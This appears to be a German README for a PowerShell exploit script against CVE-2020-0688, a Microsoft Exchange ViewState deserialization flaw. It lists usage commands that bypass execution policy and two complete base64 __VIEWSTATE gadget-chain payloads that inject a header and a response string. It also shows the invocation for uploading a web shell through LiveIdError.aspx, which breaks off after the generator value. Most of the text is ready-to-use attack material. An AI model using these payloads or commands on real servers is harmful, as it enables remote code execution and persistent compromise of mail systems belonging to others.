CVE-2020-0688

Exploitation-Skript für CVE-2020-0688 „Microsoft Exchange Standard-MachineKeySection-Deserialisierungsschwachstelle“

Verwendung:

powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml <XAML PATH> -uri <default|liveiderror|...>

Beispiel:

Dies ist ein Beispiel für die Validierung der Schwachstelle durch Setzen eines Headers in der Antwort.

powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml Set-Header.xml -uri default
__VIEWSTATEGENERATOR=
B97B4E27

__VIEWSTATE=
/wEy4AkAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACCCDxSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgDQogICAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIA0KICAgIHhtbG5zOnM9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiANCiAgICB4bWxuczp3PSJjbHItbmFtZXNwYWNlOlN5c3RlbS5XZWI7YXNzZW1ibHk9U3lzdGVtLldlYiI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9ImEiIE9iamVjdEluc3RhbmNlPSJ7eDpTdGF0aWMgdzpIdHRwQ29udGV4dC5DdXJyZW50fSIgTWV0aG9kTmFtZT0iIj48L09iamVjdERhdGFQcm92aWRlcj4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iYiIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBhfSIgTWV0aG9kTmFtZT0iZ2V0X1Jlc3BvbnNlIj48L09iamVjdERhdGFQcm92aWRlcj4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iYyIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBifSIgTWV0aG9kTmFtZT0iZ2V0X0hlYWRlcnMiPjwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJkIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIGN9IiBNZXRob2ROYW1lPSJBZGQiPg0KICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgIDxzOlN0cmluZz5URVNULUhFQURFUjwvczpTdHJpbmc+DQogICAgICA8czpTdHJpbmc+UmF2aW5BY2FkZW15PC9zOlN0cmluZz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iZSIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBifSIgTWV0aG9kTmFtZT0iRW5kIj48L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgsmMAD8uTn0dD7/75sv25RCgZzaIQ==

Dies ist ein Beispiel für die Validierung der Schwachstelle durch Setzen eines Strings in der Antwort.

powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml Set-Response.xml -uri default

__VIEWSTATEGENERATOR=
B97B4E27

__VIEWSTATE=
/wEyxwgAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADpBjxSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgDQogICAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIA0KICAgIHhtbG5zOnM9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiANCiAgICB4bWxuczp3PSJjbHItbmFtZXNwYWNlOlN5c3RlbS5XZWI7YXNzZW1ibHk9U3lzdGVtLldlYiI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9ImEiIE9iamVjdEluc3RhbmNlPSJ7eDpTdGF0aWMgdzpIdHRwQ29udGV4dC5DdXJyZW50fSIgTWV0aG9kTmFtZT0iIj48L09iamVjdERhdGFQcm92aWRlcj4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iYiIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBhfSIgTWV0aG9kTmFtZT0iZ2V0X1Jlc3BvbnNlIj48L09iamVjdERhdGFQcm92aWRlcj4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iYyIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBifSIgTWV0aG9kTmFtZT0iV3JpdGUiPg0KICAgICAgPE9iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgPHM6U3RyaW5nPlJBVklOQUNBRE1ZPC9zOlN0cmluZz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iZSIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBifSIgTWV0aG9kTmFtZT0iRW5kIj48L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgtlS34OId/SqujzElQ7KDitWUhWwA==

Dies ist ein Beispiel für das Hochladen einer Shell über LiveIdError.aspx.

powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml Upload-Shell.xml -uri liveiderror                                                                                                                       __VIEWSTATEGENERATOR=
31563A0D